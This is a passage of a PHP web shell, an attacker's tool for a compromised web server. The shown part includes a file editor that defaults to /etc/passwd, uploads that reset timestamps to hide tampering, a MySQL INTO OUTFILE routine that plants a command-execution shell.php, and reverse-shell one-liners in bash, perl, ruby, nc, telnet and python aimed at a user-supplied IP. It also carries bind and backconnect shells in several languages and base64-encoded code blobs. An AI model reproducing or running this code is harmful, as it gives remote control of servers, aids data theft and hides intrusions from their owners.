    1018. 

  1018.         $a1 .= sprintf("%02X",ord($f[$i]))." ";
    1019. 

  1019.         switch (ord($f[$i])) {
    1020. 

  1020.          case 0:  $a2 .= "<font>0</font>"; break;
    1021. 

  1021.          case 32:
    1022. 

  1022.          case 10:
    1023. 

  1023.          case 13: $a2 .= "&nbsp;"; break;
    1024. 

  1024.          default: $a2 .= htmlspecialchars($f[$i]);
    1025. 

  1025.         }
    1026. 

  1026.         $n++;
    1027. 

  1027.         if ($n == 24) {
    1028. 

  1028.          $n = 0;
    1029. 

  1029.          if ($i+1 < strlen($f)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
    1030. 

  1030.          $a1 .= "<br>";
    1031. 

  1031.          $a2 .= "<br>";
    1032. 

  1032.         }
    1033. 

  1033.        }
    1034. 

  1034.        echo '<table border=0 cellspacing="1" cellpadding="4"><tr><td>'.$a0.'</td><td>'.$a1.'</td><td>'.$a2.'</td></tr></table><br>';
    1035. 

  1035.       }
    1036. 

  1036.       mysql_free_result($result);
    1037. 

  1037.       mysql_query("DROP TABLE file;") or die("cannot drop table: ".mysql_error()."".$pageend."");
    1038. 

  1038.      }
    1039. 

  1039.      echo $pageend;
    1040. 

  1040.      die();
    1041. 

  1041.     break;
    1042. 

  1042.     }
    1043. 

  1043.    mysql_close($link);
    1044. 

  1044.    }
    1045. 

  1045.   }
    1046. 

  1046.   // mysql read file end. upload
    1047. 

  1047.    if ($download != "1" and empty($_POST["edt"])) {
    1048. 

  1048.     echo '<br><font color="blue">---> upload file</font><br>';
    1049. 

  1049.     if (!ini_get('file_uploads')) {
    1050. 

  1050.      echo "php file_uploads Off<br>";
    1051. 

  1051.     } else {
    1052. 

  1052.      echo "<font color=\"gray\">post_max_size: ".ini_get('post_max_size')."<br>"; 
    1053. 

  1053.      echo "upload_max_filesize: ".ini_get('upload_max_filesize')."<br>"; 
    1054. 

  1054.      echo "</font>";
    1055. 

  1055.      if (is_writable("./")) {
    1056. 

  1056.       echo "<font color=\"green\">./ writable</font>";
    1057. 

  1057.      } else {
    1058. 

  1058.       echo "<font color=\"red\">./ readonly</font>";
    1059. 

  1059.      }
    1060. 

  1060.      if (!isset($_POST["dir"])) {
    1061. 

  1061.       $upto=".";
    1062. 

  1062.      } else {
    1063. 

  1063.       $upto=$_POST["dir"];
    1064. 

  1064.      }
    1065. 

  1065.      echo '<form enctype="multipart/form-data" action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="sourcefile" type="file"> upload to <font color="gray">(dir)</font><input name="filedir" type="text" maxlength="500" size="20" value="'.$upto.'"><font color="green">/</font><input name="upname" type="text" maxlength="500" size="20" value=""><font color="gray">(name. empty = use original file`s name)</font> <input name="upload" type="hidden" value="okz"><input name="p" type="hidden" value="f"><br><input type="submit" value="upload">';
    1066. 

  1066.      echo '</form>';
    1067. 

  1067.      if (!empty($_POST["upload"])) {
    1068. 

  1068.       if(is_uploaded_file($_FILES["sourcefile"]["tmp_name"]))
    1069. 

  1069.       {
    1070. 

  1070.        echo "upload ok";
    1071. 

  1071.        $dirtime=filemtime($_POST['filedir']);
    1072. 

  1072.        if (!empty($_POST["upname"])) {
    1073. 

  1073.         $upname=$_POST["upname"];
    1074. 

  1074.        } else {
    1075. 

  1075.         $upname=$_FILES["sourcefile"]["name"];
    1076. 

  1076.        }
    1077. 

  1077.        move_uploaded_file($_FILES["sourcefile"]["tmp_name"], $_POST['filedir']."/".$upname) or die("<br>moving failed!<br>".$pageend."");
    1078. 

  1078.        echo "<br>moving done, trying to touch (old time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",$dirtime).")<br>";
    1079. 

  1079.        touch($_POST['filedir']."/".$upname,$dirtime,$dirtime) or die ("<br>touch failed!<br>".$pageend."");
    1080. 

  1080.        echo "file touched: new time of ".$upname." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']."/".$upname)).". trying to touch dir<br>";
    1081. 

  1081.        touch($_POST['filedir'],$dirtime,$dirtime) or die ("<br>touch dir failed!<br>".$pageend."");
    1082. 

  1082.        echo "dir touched: new time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']))."<br>";
    1083. 

  1083.       } else {
    1084. 

  1084.        echo("<br>upload failed!<br>");
    1085. 

  1085.       }
    1086. 

  1086.      }
    1087. 

  1087.     }
    1088. 

  1088.     if ($download != "1" and empty($_POST["edt"])) {
    1089. 

  1089.      echo "<br>mysql:<br>";
    1090. 

  1090.      if (empty($_POST["sqlu"])) {
    1091. 

  1091.       $user="root";
    1092. 

  1092.       $pass="12345";
    1093. 

  1093.       $db="test";
    1094. 

  1094.       $host="localhost";
    1095. 

  1095.       $port="3306";
    1096. 

  1096.       if (empty($_POST["dir"])) {
    1097. 

  1097.        $dir=getcwd();
    1098. 

  1098.       } else {
    1099. 

  1099.        $dir=$_POST["dir"];
    1100. 

  1100.       }
    1101. 

  1101.       $file=$dir."/shell.php";
    1102. 

  1102.       $evilcodez='<?php system($_GET["command"]); ?>';
    1103. 

  1103.      } else {
    1104. 

  1104.       $user=$_POST['user'];
    1105. 

  1105.       $pass=$_POST['pass'];
    1106. 

  1106.       $db=$_POST['db'];
    1107. 

  1107.       $host=$_POST['host'];
    1108. 

  1108.       $port=$_POST['port'];
    1109. 

  1109.       $file=$_POST['file'];
    1110. 

  1110.       $evilcodez=$_POST['evilcodez'];
    1111. 

  1111.      }
    1112. 

  1112.      echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"><br> select <br><textarea name="evilcodez" cols="80" rows="4">'.$evilcodez.'</textarea><br>into outfile <input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlu" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
    1113. 

  1113.     }
    1114. 

  1114.     if (!empty($_POST["sqlu"])) {
    1115. 

  1115.      $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."".$pageend."");
    1116. 

  1116.      $q='SELECT \''.mysql_real_escape_string($_POST['evilcodez']).'\' INTO OUTFILE "'.$_POST["file"].'"';
    1117. 

  1117.      $rez=mysql_query($q,$link) or die("query error:".mysql_error());
    1118. 

  1118.      echo "done<br>";
    1119. 

  1119.      mysql_close($link);
    1120. 

  1120.      echo $pageend;
    1121. 

  1121.      die();
    1122. 

  1122.     }
    1123. 

  1123.     echo "<br>";
    1124. 

  1124.     echo '<font color="blue">---> edit file</font><br>';
    1125. 

  1125.     if (!empty($_POST["edit"])) {
    1126. 

  1126.      $filee=trim($_POST["filee"]);
    1127. 

  1127.      $files=trim($_POST["files"]);
    1128. 

  1128.     } else {
    1129. 

  1129.      $filee="/etc/passwd";
    1130. 

  1130.      if (empty($_POST["dir"])) {
    1131. 

  1131.       $dir="./";
    1132. 

  1132.      } else {
    1133. 

  1133.       $dir=$_POST["dir"]."/";
    1134. 

  1134.      }
    1135. 

  1135.      $files=$dir."cache.txt";
    1136. 

  1136.     }
    1137. 

  1137.     echo '<form name="editor" method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="filee" type="text" maxlength="500" size="30" value="'.$filee.'"> save as <input name="files" type="text" maxlength="500" size="30" value="'.$files.'"> <input type="submit" value="go"><input name="edt" type="hidden" value="ok"><input name="edit" type="hidden" value="edit"><input name="p" type="hidden" value="f"><br></form>';
    1138. 

  1138.    }
    1139. 

  1139.    if (!empty($_POST["edit"])) {
    1140. 

  1140.     $filee=trim($_POST["filee"]);
    1141. 

  1141.     $oldtime=@filemtime($filee);
    1142. 

  1142.     $files=trim($_POST["files"]);
    1143. 

  1143.     if (!file_exists($files)) {
    1144. 

  1144.      if (!fopen($files,'a+')) {
    1145. 

  1145.       echo '<font color="red">'.$files.' isnt writable! (cannot open "a+")<br></font>'; echo $pageend; die();
    1146. 

  1146.      } else {
    1147. 

  1147.       if (!file_exists($filee)) {
    1148. 

  1148.        echo '<font color="gray"> no file '.$filee.', I`ll create new '.$files.'.</font><br>';
    1149. 

  1149.       } else {
    1150. 

  1150.        echo '<font color="gray"> no file '.$files.', I`ll create new '.$files.'.</font><br>';
    1151. 

  1151.       }
    1152. 

  1152.       fclose($files);
    1153. 

  1153.       unlink($files);
    1154. 

  1154.      }
    1155. 

  1155.     } else {
    1156. 

  1156.      if (!is_writable($files)) {
    1157. 

  1157.       $chmoded=substr(sprintf('%o',fileperms($files)), -4);
    1158. 

  1158.       echo '<font color="gray">'.$files.' chmod '.$chmoded.', trying to chmod 0666</font>';
    1159. 

  1159.       chmod($files, 0666) or die ('<font color="red"><br>cannot chmod '.$files.' 666!'.$pageend.'');
    1160. 

  1160.       echo '<font color="gray"> ...done</font>';
    1161. 

  1161.      }
    1162. 

  1162.     }
    1163. 

  1163.     if (!empty($_POST["edt"])) {
    1164. 

  1164.      $filec=file_get_contents($filee);
    1165. 

  1165.      if (empty($filec)) {
    1166. 

  1166.       echo '<font color="red">cannot get '.$filee.' contents!</font>';
    1167. 

  1167.      }
    1168. 

  1168.      if (isset($_POST['filec'])) {
    1169. 

  1169.       $filec=$_POST['filec'];
    1170. 

  1170.       $fh=fopen($files,"w+") or die ('<font color="red">cannot fopen "w+"!</font>'.$pageend.'');
    1171. 

  1171.       fputs($fh,$filec);
    1172. 

  1172.       fclose($fh) or die ('<font color="red">cannot save file!</font>'.$pageend.'');
    1173. 

  1173.       if (isset($_POST['chmoded'])) {
    1174. 

  1174.        echo "chmoding to old perms(".trim($_POST['chmoded']).")<br>";
    1175. 

  1175.        $perms = 0;
    1176. 

  1176.        for($i=strlen($_POST['chmoded'])-1;$i>=0;--$i)
    1177. 

  1177.        $perms+=(int)$_POST['chmoded'][$i]*pow(8, (strlen($_POST['chmoded'])-$i-1));
    1178. 

  1178.        chmod($files, $perms);
    1179. 

  1179.       }
    1180. 

  1180.       $date=explode(" ",$_POST["touch"]);
    1181. 

  1181.       $day=explode("-",$date[0]);
    1182. 

  1182.       $time=explode(":",$date[1]);
    1183. 

  1183.       $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
    1184. 

  1184.       @touch($files,$unixtime,$unixtime);
    1185. 

  1185.       die('<br><font color="green"> -&gt '.$files.' saved!</font>'.$pageend.'');
    1186. 

  1186.      }
    1187. 

  1187.      if (empty($oldtime)) {
    1188. 

  1188.       $ttime=time();
    1189. 

  1189.      } else {
    1190. 

  1190.       $ttime=$oldtime;
    1191. 

  1191.      }
    1192. 

  1192.      echo '<form action="'.$_SERVER["PHP_SELF"].'" method="post">enter touch time: <input name="touch" type="text" maxlength="19" size="19" value="'.date("Y-m-d H:i:s",$ttime).'"><br><textarea cols="80" rows="20" name="filec">'.$filec.'</textarea><input name="filee" type="hidden" value="'.$filee.'"><input name="p" type="hidden" value="f"><input name="files" type="hidden" value="'.$files.'">';
    1193. 

  1193.      if (isset($chmoded)) {
    1194. 

  1194.       echo '<input name="chmoded" type="hidden" value="'.$chmoded.'">';
    1195. 

  1195.      }
    1196. 

  1196.      echo '<input name="edit" type="hidden" value="edit"><br><input type="submit" name="edt" value="save"></form>';
    1197. 

  1197.     }
    1198. 

  1198.     echo $pageend;
    1199. 

  1199.     die();
    1200. 

  1200.    }
    1201. 

  1201.    if ($download != "1") {
    1202. 

  1202.     echo '<br></div><font color="blue">---> fail manager</font><br>';
    1203. 

  1203.    }
    1204. 

  1204.    if ($action=="viewer") {
    1205. 

  1205.     if (!isset($dir)) {
    1206. 

  1206.      $dir=getcwd();
    1207. 

  1207.     }
    1208. 

  1208.     scandire($_POST["dir"]);
    1209. 

  1209.    }
    1210. 

  1210.    if ($action=="download") {
    1211. 

  1211.     readfile($_POST["file"]);
    1212. 

  1212.    }
    1213. 

  1213.    if ($action=="chmod") {
    1214. 

  1214.     chmodz($_POST["file"]);
    1215. 

  1215.    }
    1216. 

  1216.    if ($action=="touch") {
    1217. 

  1217.     touchz($_POST["file"]);
    1218. 

  1218.    }
    1219. 

  1219.    if ($action == 'delete') {
    1220. 

  1220.     if (unlink($_POST["file"])) $content.="file ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
    1221. 

  1221.    }
    1222. 

  1222.    if ($action == 'deletedir') {
    1223. 

  1223.     if (!rmrf($_POST["file"])) {
    1224. 

  1224.      $content .="error deleting dir ".$_POST["file"].", <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
    1225. 

  1225.     } else {
    1226. 

  1226.      $content .="dir ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
    1227. 

  1227.     }
    1228. 

  1228.    }
    1229. 

  1229.    if (!empty($content)) {
    1230. 

  1230.     echo $content;
    1231. 

  1231.    }
    1232. 

  1232.    if ($download != "1") {
    1233. 

  1233.     echo '<br>';
    1234. 

  1234.     echo '<form name="reqs" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="action" type="hidden" value=""><input name="dir" type="hidden" value=""><input name="file" type="hidden" value=""><input name="p" type="hidden" value="f"></form>';
    1235. 

  1235.     echo $pageend;
    1236. 

  1236.    }
    1237. 

  1237.   break;
    1238. 

  1238. // --------------------------------------------- file operations end; bind
    1239. 

  1239.  case "b":
    1240. 

  1240.   echo $title;
    1241. 

  1241.   echo '<a href="#" onclick="showTooltip(1)" id="link"> &gt;&gt; help &lt;&lt; </a>
    1242. 

  1242.   <div id="1" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">
    1243. 

  1243.   you could get almost-interactive shell in bind/backconnect with help of these commands<br>
    1244. 

  1244.   -&gt; if there is python on the server, run: <br>
    1245. 

  1245.   python -c \'import pty; pty.spawn("/bin/bash")\'<br>
    1246. 

  1246.   -&gt; ruby:<br>
    1247. 

  1247.   ruby -rpty -e \'PTY.spawn("/bin/bash")do|i,o|Thread.new do loop do o.print STDIN.getc.chr end end;loop do print i.sysread(512);STDOUT.flush end end\'<br>
    1248. 

  1248.   -&gt; expect:<br>
    1249. 

  1249.   expect -c \'spawn sh;interact\'<br>
    1250. 

  1250.   -&gt; policycoreutils package:<br>
    1251. 

  1251.   open_init_pty bash<br><br>
    1252. 

  1252.   //thanks to tex from rdot.org<br><br>
    1253. 

  1253.   for backconnect you should use small one-liners coz there is no temporary file created. in case they fail, try usual "big" backconnects.<br><br>
    1254. 

  1254.   //thanks to Bernardo Damele and pentestmonkey.net<br><br>
    1255. 

  1255.   if your terminal is broken after using backconnect (i.e. it doesnt show what you type), run command: reset<br>
    1256. 

  1256.   </div><br><br>';
    1257. 

  1257.   if ($failflag=="1") {
    1258. 

  1258.    echo "fail, at least one system function needed!<br><br>";
    1259. 

  1259.   } else {
    1260. 

  1260.    $nc='<font color="gray">(dont forget to setup nc <b>first</b>!)</font>';
    1261. 

  1261.    $semi='<font color="gray">dont forget to write <b>;</b> at the end of command!</font>';
    1262. 

  1262.    sploent516();
    1263. 

  1263.    echo "<br>"; //debug: sometimes page cut here, when passthru system shell_exec are disabled
    1264. 

  1264.    echo '<font color="green"> - - - - = = = = &gt; &gt; one-liners</font><br><a href="#" onclick="showTooltip(4)" id="link4"> &gt;&gt; show code &lt;&lt; </a>
    1265. 

  1265.    <div id="4" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none"><textarea cols="80" rows="20">
    1266. 

  1266. '.gzinflate(base64_decode("pZLRq5swFMbf/SsOIq0Bjbfdm6lCue1Axr2W6tsYpU3iKtUkJHZdWe/+9kVbmBv3YbAXT/IRv/NLvnPYm2PswNNiMpt/IPw7p2AXizRi/FvUURVlG7xcrfB2jYsi2uTbkoA5wnAc0uE7H4rjKK4ba9UXCF+yHEIOU08lldQn61x3QV35nkLEo4ngF8jyOC4kPfEujrPXdelvONdLxnTgjpvGfVMXkaJcZa9hWjGpuPA9Gmjr9HMsXBAxV9Px1tvB5Vg3fJGSqePo8+FqufoCoTZDx4GtZ4K6ggGQJuXz5o6DLZ3/B4MbuA+KwdenLUso/so7g0iWYzUQWDFwtYt+3Gp5o1jpWlh7iTXfszcumEURtAdpIawg6loVYUEFI9CehGQjBRRMJiAojBmgJ7BBjY7dIDrUIrJ5zNKR3AfiOB1vhH3af+93/+G/eqprd5SiH4JhASGFad0qqTu4v3tgzgelJeXGBNIQk9xlfC/+Y7f8uOsHInhsi/z5064ot+vli00YUykEp53/d0Q9K0JEGszOau4bXNmohPRR8IQIvCPP3pfniKjkNyem+6bxP7uPa9tRCGv3C7KT9Qs=")).'</textarea></div><br>';
    1267. 

  1267.    echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"><input name="p" type="hidden" value="b"> using <br>';
    1268. 

  1268.    $searchvar=trim(search("bash",$failflag));
    1269. 

  1269.    if (empty($searchvar)) {
    1270. 

  1270.     echo "fail, no bash here<font color=\"gray\"> (lolwut?)</font><br>";
    1271. 

  1271.    } else {
    1272. 

  1272.     echo ' bash <input name="wut" value="bash" type="radio" checked><br>'; 
    1273. 

  1273.    }
    1274. 

  1274.    $searchvar=trim(search("perl",$failflag));
    1275. 

  1275.    if (empty($searchvar)) {
    1276. 

  1276.     echo "fail, no perl here<br>";
    1277. 

  1277.    } else {
    1278. 

  1278.     echo ' perl <input name="wut" value="perl" type="radio"><br>';
    1279. 

  1279.    }
    1280. 

  1280.    $searchvar=trim(search("ruby",$failflag));
    1281. 

  1281.    if (empty($searchvar)) {
    1282. 

  1282.     echo "fail, no ruby here<br>";
    1283. 

  1283.    } else {
    1284. 

  1284.     echo ' ruby <input name="wut" value="ruby" type="radio"><br>';
    1285. 

  1285.    }
    1286. 

  1286.    $searchvar=trim(search("nc",$failflag));
    1287. 

  1287.    if (empty($searchvar)) {
    1288. 

  1288.     echo "fail, no nc here<br>";
    1289. 

  1289.    } else {
    1290. 

  1290.     echo ' nc <input name="wut" value="nc" type="radio"><br>';
    1291. 

  1291.    }
    1292. 

  1292.    $searchvar=trim(search("telnet",$failflag));
    1293. 

  1293.    if (empty($searchvar)) {
    1294. 

  1294.     echo "fail, no telnet here<br>";
    1295. 

  1295.    } else {
    1296. 

  1296.     echo ' telnet <input name="wut" value="telnet" type="radio"><br>';
    1297. 

  1297.    }
    1298. 

  1298.    $searchvar=trim(search("python",$failflag));
    1299. 

  1299.    if (empty($searchvar)) {
    1300. 

  1300.     echo "fail, no python here<br>";
    1301. 

  1301.    } else {
    1302. 

  1302.     echo ' python <input name="wut" value="python" type="radio"><br>';
    1303. 

  1303.    }
    1304. 

  1304.    echo '<br><input type="hidden" name="oneline" value="oneline"><input type="submit" value="go"></form><br>';
    1305. 

  1305.    if (!empty($_POST["oneline"])) {
    1306. 

  1306.     switch ($_POST["wut"]) {
    1307. 

  1307.      case "bash":
    1308. 

  1308.       $c='0<&123;exec 123<>/dev/tcp/'.$_POST["ip"].'/'.$_POST["port"].'; sh <&123 >&123 2>&123';
    1309. 

  1309.       run($c);
    1310. 

  1310.       echo "done<br>";
    1311. 

  1311.      break;
    1312. 

  1312.      case "perl":
    1313. 

  1313.       $c='perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"'.$_POST['ip'].':'.$_POST['port'].'");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'';
    1314. 

  1314.       run($c);
    1315. 

  1315.       echo "done<br>";
    1316. 

  1316.      break;
    1317. 

  1317.      case "ruby":
    1318. 

  1318.       $c='ruby -rsocket -e \'exit if fork;c=TCPSocket.new("'.$_POST['ip'].'","'.$_POST['port'].'");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\'';
    1319. 

  1319.       run($c);
    1320. 

  1320.       echo "done<br>";
    1321. 

  1321.      break;
    1322. 

  1322.      case "nc":
    1323. 

  1323.       $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && nc '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd 2>&1';
    1324. 

  1324.       run($c);
    1325. 

  1325.       echo "done<br>";
    1326. 

  1326.      break;
    1327. 

  1327.      case "telnet":
    1328. 

  1328.       $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && telnet '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd 2>&1';
    1329. 

  1329.       run($c);
    1330. 

  1330.       echo "done<br>";
    1331. 

  1331.      break;
    1332. 

  1332.      case "python":
    1333. 

  1333.       $c='python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$_POST['ip'].'",'.$_POST['port'].'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
    1334. 

  1334.       run($c);
    1335. 

  1335.       echo "done<br>";
    1336. 

  1336.      break;
    1337. 

  1337.     }
    1338. 

  1338.    }
    1339. 

  1339.    echo '<font color="green">- - - - = = = = &gt; &gt; classic</font><br>';
    1340. 

  1340.    echo '<font color="blue">---> PHP </font><br>';
    1341. 

  1341.    if (!function_enabled('set_time_limit')) { echo '<font color="gray">warning! set_time_limit off!</font><br>'; }
    1342. 

  1342.    if (!function_enabled('ignore_user_abort')) { echo '<font color="gray">warning! ignore_user_abort off!</font><br>'; }
    1343. 

  1343.    echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$semi.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phplocal"></form>';
    1344. 

  1344.    if (function_enabled('fsockopen')) {
    1345. 

  1345.     if (function_enabled('proc_open')) {
    1346. 

  1346.      echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$nc.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phpremote"></form><br>';
    1347. 

  1347.     } else { echo 'fail, proc_open is needed for backconnect!<br><br>'; }
    1348. 

  1348.    } else { echo 'fail, fsockopen is needed for backconnect!<br><br>'; }
    1349. 

  1349.    //php end
    1350. 

  1350.    echo '<font color="blue">---> PERL </font><br>';
    1351. 

  1351.    $searchvar=trim(search("perl",$failflag));
    1352. 

  1352.    if (empty($searchvar)) {
    1353. 

  1353.     echo "fail, no perl here<br>";
    1354. 

  1354.    } else {
    1355. 

  1355.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perllocal"><input name="p" type="hidden" value="b"> ';
    1356. 

  1356.     if (is_writable("./")) {
    1357. 

  1357.      echo "<font color=\"green\">(./ writable)</font>";
    1358. 

  1358.     } else {
    1359. 

  1359.      echo "<font color=\"red\">(./ readonly)</font>";
    1360. 

  1360.     }
    1361. 

  1361.     echo '<br>'.$semi.'</form>';
    1362. 

  1362.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perlremote"><input name="p" type="hidden" value="b"><br>'.$nc.'<br></form>';
    1363. 

  1363.    }
    1364. 

  1364.    //perl end
    1365. 

  1365.    echo "<br>";
    1366. 

  1366.    echo '<font color="blue">---> PYTHON </font><br>';
    1367. 

  1367.    $searchvar=trim(search("python",$failflag));
    1368. 

  1368.    if (empty($searchvar)) {
    1369. 

  1369.     echo "fail, no python here<br>";
    1370. 

  1370.    } else {
    1371. 

  1371.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10"  value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="pylocal"><input name="p" type="hidden" value="b"> ';
    1372. 

  1372.     if (is_writable("./")) {
    1373. 

  1373.      echo "<font color=\"green\">(./ writable)</font>";
    1374. 

  1374.     } else {
    1375. 

  1375.      echo "<font color=\"red\">(./ readonly)</font>";
    1376. 

  1376.     }
    1377. 

  1377.     echo '<br>'.$semi.'</form>';
    1378. 

  1378.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyremote"><br>'.$nc.'<br></form>';
    1379. 

  1379.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">fully interactive backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyint"><br></form>';
    1380. 

  1380.     echo '<font color="gray">you need to run special client first: <a href="#" onclick="showTooltip(2)" id="link2"> &gt;&gt; show code &lt;&lt; </a><br>with this one you will be able to run mc, top, vim, etc</font>
    1381. 

  1381.     <div id="2" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
    1382. 

  1382.     echo '<br>usage: python client.py [host] [port], then input there ^^^^ your host and port.<br>do not remove whitespace!<br>if you see "TERM is not set", run command: export TERM=linux<br>//thanks to ont.rif for interactive backconnect<br>';
    1383. 

  1383.     echo "<textarea cols=\"80\" rows=\"20\">";
    1384. 

  1384.     echo gzinflate(base64_decode('dVLBbhoxFLzvV0ypUHcly5BWvaDmEKVEQm1BKhv1sEFou/sAKxsb2U4Ifx8/mySEKAfWsj0zb2bM58G9s4P/Sg9IP2C79xujM3W3NdbDmeaWvMDW7wU8fxx11IQTt3cCxmVqhY50zntZ2/UDCvzAt1GGrVXao3ft6jWN0HeoNsb5BSoWXvTQxyupGi5QZNQ5CkSG4RzO2yPAGQMQPZ0jCB9dfY1X7JRZ0bBMS/68vbhaTqbjUjzv57PLX8t5+Xd88Ye53u7D3HgpQw9tjpxNiDivYES665TznPU7H9FjQ1vPvEPSy1p/8WA+Pt3oXsZ9SUfe1rucC5Tz8udkurya/B5PZ6yw26iOUNp7OlL5Vyuv9BorY0POxtzxxuhQ4KjvpJQ3NlZ35C9w84b9CdRta4tDC7Ju2GBevGrPboNA3yWJ2C8TYr63XmAFdgLEUvG9ZVpyVIij5CrAtckL8T7ZQqCKvyiM8Ad5SwmxYOMUtDU/p3HSUh1aP5U+Gw6HSYQxO6s8vTQ5uy4PA0WUSbAwTBvPB2nAy9t0isLadMZRi8ZoHdIoo0MVCUePKlXFEu8ifej4FPmB59NgyfAT'));
    1385. 

  1385.     echo "</textarea><br>";
    1386. 

  1386.     echo '</div><br>';
    1387. 

  1387.    }
    1388. 

  1388.    //python end
    1389. 

  1389.    echo "<br>";
    1390. 

  1390.    echo '<font color="blue">---> C </font><br>';
    1391. 

  1391.    $searchvar=trim(search("gcc",$failflag));
    1392. 

  1392.    if (empty($searchvar)) {
    1393. 

  1393.     echo "fail, no gcc here<br>";
    1394. 

  1394.    } else {
    1395. 

  1395.     echo '<font color="gray">don\'t remove ".c" file extension! compiler= '.$searchvar.'</font><br>';
    1396. 

  1396.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd.c"><input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="clocal"> ';
    1397. 

  1397.     if (is_writable("./")) {
    1398. 

  1398.      echo "<font color=\"green\">(./ writable)</font>";
    1399. 

  1399.     } else {
    1400. 

  1400.      echo "<font color=\"red\">(./ readonly)</font>";
    1401. 

  1401.     }
    1402. 

  1402.     echo '<br>'.$semi.'</form>';
    1403. 

  1403.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc.c"><input type="submit" value="go"><input name="shellz" type="hidden" value="cremote"><input name="p" type="hidden" value="b"><br>'.$nc.'</form>';
    1404. 

  1404.    }
    1405. 

  1405.    //c end
    1406. 

  1406.    echo "<br>";
    1407. 

  1407.    echo '<font color="blue">---> PHP+C findsock </font><font color="gray">(likely wont work on modern php&amp;apache &gt;= 2009)</font><br>';
    1408. 

  1408.    $searchvar=trim(search("gcc",$failflag));
    1409. 

  1409.    if (empty($searchvar)) {
    1410. 

  1410.     echo "fail, no gcc here<br>";
    1411. 

  1411.    } else {
    1412. 

